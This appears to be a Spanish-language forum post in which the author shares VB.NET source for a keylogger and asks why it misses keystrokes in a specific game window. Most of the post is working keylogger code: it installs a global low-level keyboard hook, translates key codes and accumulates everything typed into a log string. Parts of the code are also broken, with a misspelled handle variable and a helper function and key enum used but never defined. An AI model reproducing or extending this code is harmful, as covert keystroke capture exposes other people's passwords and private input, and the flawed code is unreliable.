Acabo de terminar un KeyLogger basado en un hook de teclado Low-level.
Funciona divinamente en cualquier ventana activa, salvo en la que interesa: una ventana de un juego en concreto. Mientras esta ventana tenga el foco, no me reconoce ningún keystroke. Estoy empezando a pensar que está programado con toda intención jeje
¿Alguien podría decir a qué se podría deber? La verdad es que estoy perdido.
Gracias por adelantado.
Saludos!
El código:
Código
Class Keylogger #Region "APIS" Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, _ ByVal lpfn As KeyboardHookDelegate, _ ByVal hmod As Integer, _ ByVal dwThreadId As Integer) As Integer Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, _ ByVal nCode As Integer, _ ByVal wParam As Integer, _ ByVal lParam As KBDLLHOOKSTRUCT) As Integer Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, _ ByVal lpString As String, _ ByVal cch As Int32) As Int32 Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, _ ByVal wParam As Integer, _ ByRef lParam As KBDLLHOOKSTRUCT) As Integer #End Region #Region "CONST, ESTRUCTURA, ENUM" Private Const WM_KEYUP As Integer = &H101 Private Const WM_KEYDOWN As Short = &H100S Private Const WM_SYSKEYDOWN As Integer = &H104 Private Const WM_SYSKEYUP As Integer = &H105 Public Structure KBDLLHOOKSTRUCT Public vkCode As Integer Public scanCode As Integer Public flags As Integer Public time As Integer Public dwExtraInfo As Integer End Structure #End Region #Region "VARIABLES" Private KeyboardHandle As IntPtr = 0 Private LastCheckedForegroundTitle As String = "" Private callback As KeyboardHookDelegate = Nothing Private KeyLog As String #End Region Public Sub HookKeyboard() callback = New KeyboardHookDelegate(AddressOf KeyboardCallback) KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0) End Sub Private Function Hooked() Return KeyboardHandle <> 0 End Function Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer Dim CurrentTitle = GetActiveWindowTitle() Dim Key As String = "" If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then Select Case lParam.vkCode Case virtualKey.K_0 To virtualKey.K_9 Key = ChrW(lParam.vkCode) Case virtualKey.K_A To virtualKey.K_Z Key = ChrW(lParam.vkCode + 32) Case virtualKey.K_Backspace Key = "[Backspace]" Case virtualKey.K_Return Key = "[Enter]" Case virtualKey.K_Space Key = " " Case virtualKey.K_Tab Key = "[Tab]" Case virtualKey.K_Esc Key = "[Escape]" Case virtualKey.K_Control Key = "[Control]" Case virtualKey.K_LControl Key = "[LControl]" Case virtualKey.K_RControl Key = "[RControl]" Case virtualKey.K_LAlt Key = "[LAlt]" Case virtualKey.K_LShift Key = "[LShift]" Case virtualKey.K_Numpad0 To virtualKey.K_Numpad9 Key = ChrW(lParam.vkCode) Case virtualKey.K_PrintScreen Key = "[PrintScreen]" Case virtualKey.K_RAlt Key = "[RAlt]" Case virtualKey.K_RShift Key = "[RShift]" Case 189 Key = "[-]" Case 191 Key = "ç" Case 222 Key = "[´]" Case 226 Key = "[>]" Case 220 Key = "º" Case 219 Key = "[¡]" Case 221 Key = "[']" Case 110 Key = "[./Supr]" Case 190 Key = "." Case 188 Key = "," End Select End If KeyLog &= Key Return CallNextHookEx(KeyboardHndle, Code, wParam, lParam) End Function